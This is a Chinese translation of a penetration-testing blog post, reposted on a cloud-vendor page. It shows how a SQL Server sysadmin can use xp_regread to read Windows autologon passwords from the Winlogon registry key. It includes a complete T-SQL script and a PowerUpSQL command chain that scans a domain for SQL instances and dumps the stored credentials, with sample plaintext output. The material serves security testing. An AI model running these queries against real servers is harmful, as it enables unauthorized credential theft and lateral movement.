在SQL Server中通过PowerUpSQL获得Windows自动登录密码

本文涉及的产品
RDS SQL Server Serverless,2-4RCU 50GB 3个月
推荐场景:
云数据库 RDS SQL Server,基础系列 2核4GB
简介:

 原文:

https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/

 

在这篇博客中,我将展示如何使用PowerUpSQL通过SQL Serverd导出Windows自动登录密码。我也来谈谈xp_regread存储过程中的其他利用方式也可在渗透测试中使用。

xp_regread简史

SQL Server2000xp_regread扩展存储过程一直被使用,因为其原始版本允许以公共服务器角色的成员访问SQL Server服务帐户权限的几乎任何东西的。当时,它有一个非常大的影响,因为SQL ServerLocalSystem权限运行是常见的(译者注:很容易被提权)。自从SQL Server 2000 SP4发布之后,由于添加了一些访问控制,这有助于防止低权限的登录访问敏感的注册表位置,xp_regread的影响已经相当小,现在,未经授权的用户访问唯一的注册表位置都与SQLServer相关。对于您可以访问这些位置的列表https://support.microsoft.com/en-us/kb/887165

下面是更有趣的访问路径中的几个:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Messaging Subsystem
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\SQLServer
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServer
HKEY_CURRENT_USER\Software\Microsoft\Mail HKEY_CURRENT_USER\ControlPanel\International

xp_regread公共角色的实际用途

即使是我们的双手被捆绑,xp_regread也可以用来获取不少有用的信息。事实上,作为最低权限登录时,我经常用它来抓取其它地方无法获取的服务器信息。例如,在PowerUpSQL中的Get-SQLServerInfo功能包括一些这些查询:

PS C:\>Get-SQLServerInfo

ComputerName           : SQLServer1

Instance               : SQLServer1

DomainName             : demo.local

ServiceName            : MSSQLSERVER

ServiceAccount         : NT Service\MSSQLSERVER

AuthenticationMode     : Windows and SQL Server Authentication

Clustered              : No

SQLServerVersionNumber: 12.0.4213.0

SQLServerMajorVersion  : 2014

SQLServerEdition       : Developer Edition (64-bit)

SQLServerServicePack   : SP1

OSArchitecture         : X64

OsMachineType          : WinNT

OSVersionName          : Windows 8.1 Pro

OsVersionNumber        : 6.3

Currentlogin           : demo\user

IsSysadmin             : Yes

ActiveSessions         : 3

 

SQL ServerSP4中实现的访问控制限制并不适用于系统管理员。其结果是,任何SQL Server服务账户可以在注册表访问,一个系统管理员可以通过xp_regread访问。乍一看,这似乎不是什么大不了的事,但它确实让我们从注册表中的敏感数据,而不必使用xp_cmdshell存储过程,启用和使用xp_cmdshel会触发大量的告警。所以xp_regread实际上最终被用于基本的SQL Server开发任务后。

使用xp_regread恢复Windows自动登录凭据

配置Windows在计算机启动时自动登录这是可以实现的,虽然这不是在企业环境中的常见配置,这是我们在零售环境中经常看到的东西。特别是那些支持传统的POS终端和信息亭使用SQL服务器本地运行。在大多数情况下,当Windows配置为自动登录,加密的凭据存储在注册表项:

HKEY_LOCAL_MACHINE SOFTWARE \Microsoft\WindowsNT\CURRENTVERSION \Winlogon

利用这些信息,我们可以编写使用一个基本的TSQL脚本,通过xp_regread获取注册表的自动登录凭据,而无需使xp_cmdshell启用。下面就是一个TSQL脚本例子,但由于注册表路径不在允许列表上,我们必须作为一个系统管理员运行查询:

-------------------------------------------------------------------------

-- Get Windows AutoLogin Credentials from the Registry

-------------------------------------------------------------------------

-- Get AutoLoginDefault Domain

DECLARE@AutoLoginDomain  SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey            = N'HKEY_LOCAL_MACHINE',

@key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name              = N'DefaultDomainName',

@value                         = @AutoLoginDomainoutput

-- Get AutoLoginDefaultUsername

DECLARE@AutoLoginUser  SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey            = N'HKEY_LOCAL_MACHINE',

@key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name              = N'DefaultUserName',

@value                         = @AutoLoginUser output

-- Get AutoLoginDefaultUsername

DECLARE@AutoLoginPassword  SYSNAME

EXECUTEmaster.dbo.xp_regread

@rootkey            = N'HKEY_LOCAL_MACHINE',

@key                            =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',

@value_name              = N'DefaultPassword',

@value                         = @AutoLoginPasswordoutput

-- Display Results

SELECT@AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword

我已经创建了一个名为“Get-SQLRecoverPwAutoLogon”的PowerUpSQL函数,所以你可以直接运行它。它将获取默认的Windows自动登录信息和曾经设置过的Windows自动登录信息。然后,它返回相关的域名、用户名和密码。

 

下面是那些感兴趣的一个命令示例。如果您对渗透隐蔽的SQL Server目标有兴趣,你可以挖掘这个博客(https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/):

PS C:\> $Accessible =Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose-Threads 15| Where-Object {$_.Status –eq “Accessible”}

PS C:\> $Accessible |Get-SQLRecoverPwAutoLogon -Verbose

VERBOSE: SQLServer1.demo.local\Instance1 :Connection Success.

VERBOSE: SQLServer2.demo.local\Application: Connection Success.

VERBOSE: SQLServer2.demo.local\Application: This function requires sysadmin privileges. Done.

VERBOSE: SQLServer3.demo.local\2014 :Connection Success.

VERBOSE: SQLServer3.demo.local\2014 : Thisfunction requires sysadmin privileges. Done.

ComputerName : SQLServer1

Instance    : SQLServer1\Instance1

Domain      : demo.local

UserName    : KioskAdmin

Password    : test

ComputerName : SQLServer1

Instance    : SQLServer1\Instance1

Domain      : demo.local

UserName    : kioskuser

Password    : KioskUserPassword!

总结

即使xp_regread扩展存储过程已部分阉割,仍有许多方式,它可以被证明是有用的渗透测试和红队交战中。希望你能用“sqlserverinfo”、“sqlrecoverpwautologon”函数构建它的能力,更多注册表的乐趣将陆续提供,在此期间,祝你好运,并负责任!

参考文章:

https://support.microsoft.com/en-us/kb/887165

https://msdn.microsoft.com/en-us/library/aa940179(v=winembedded.5).aspx

http://sqlmag.com/t-sql/using-t-sql-manipulate-registry



 本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/1881099

相关实践学习
使用SQL语句管理索引
本次实验主要介绍如何在RDS-SQLServer数据库中,使用SQL语句管理索引。
SQL Server on Linux入门教程
SQL Server数据库一直只提供Windows下的版本。2016年微软宣布推出可运行在Linux系统下的SQL Server数据库,该版本目前还是早期预览版本。本课程主要介绍SQLServer On Linux的基本知识。 相关的阿里云产品:云数据库RDS SQL Server版 RDS SQL Server不仅拥有高可用架构和任意时间点的数据恢复功能,强力支撑各种企业应用,同时也包含了微软的License费用,减少额外支出。 了解产品详情: https://www.aliyun.com/product/rds/sqlserver
相关文章
|
1月前
|
网络安全 虚拟化 Windows
windows 11安装openSSH server 遇到的"kex_exchange_identification: read: Connection reset"问题
windows 11安装openSSH server 遇到的"kex_exchange_identification: read: Connection reset"问题
|
8天前
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
2月前
|
PHP Windows
【Azure App Service for Windows】 PHP应用出现500 : The page cannot be displayed because an internal server error has occurred. 错误
【Azure App Service for Windows】 PHP应用出现500 : The page cannot be displayed because an internal server error has occurred. 错误
|
3月前
|
Linux 数据安全/隐私保护 Windows
解决Windows密码丢失问题:详细指南
最近因为某些工作缘故,接触到windows比较频繁,特此记录一下 当下,计算机安全是每个人都不能忽视的重要问题。然而,有时可能因为忘记密码而无法访问自己的Windows系统,这会导致数据和信息的临时不可用。 本文将详细介绍两种场景下的密码恢复方法:一种是针对虚拟机,另一种适用于物理机。通过这些方法,可以快速恢复对系统的访问,确保业务的连续性。
解决Windows密码丢失问题:详细指南
|
2月前
|
安全 数据安全/隐私保护 Windows
Windows 允许空密码远程桌面
Windows 允许空密码远程桌面
35 2
|
3月前
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
68 13
|
3月前
|
SQL
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。
|
3月前
|
SQL 存储 网络安全
关系数据库SQLserver 安装 SQL Server
【7月更文挑战第26天】
48 6
|
2月前
|
开发框架 .NET API
Windows Server 2022 安装IIS 报错 访问临时文件夹 C:\WINDOWS\TEMP\3C 读取/写入权限 错误: 0x80070005
Windows Server 2022 安装IIS 报错 访问临时文件夹 C:\WINDOWS\TEMP\3C 读取/写入权限 错误: 0x80070005
86 0
|
2月前
|
SQL 安全 Java
驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。错误:“The server selected protocol version TLS10 is not accepted by client
驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。错误:“The server selected protocol version TLS10 is not accepted by client
232 0
下一篇
无影云桌面